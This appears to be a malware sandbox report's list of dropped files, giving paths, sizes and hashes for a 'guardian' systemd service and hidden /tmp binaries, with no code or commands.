                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      guardian.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /etc/systemd/system/guardian.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 153B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 74977bd14f5b7f4cb5b5560d436fe1d3e4df59c89288a63dbf5591411b21b811
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      .grd1an.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /tmp/.grd1an.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 d8c6ae33c3660cc6faf06479c625c287f2dee522e5517790b650dbaad4ac55b9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      .guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 221KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 6303ba90e3f834029386e5df29d02f5239ffca6e56160ffde5b69183c62c4215
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      .guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 192KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 a953de2867b90b128d49b6515dccf009a520a89921d679fc0a491ced64fbc3ea
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      .guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 221KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 e22d1d052bfaccb8ade6aa5e0d2374b66ad324a989c1aab073c2a7200a4b5124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      .guardian.tag
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path /tmp/.guardian.tag
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 b7fafb86bf6623e388b84fcb2443bf033660e9fdd5bd9669f0223051a90b7ca2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download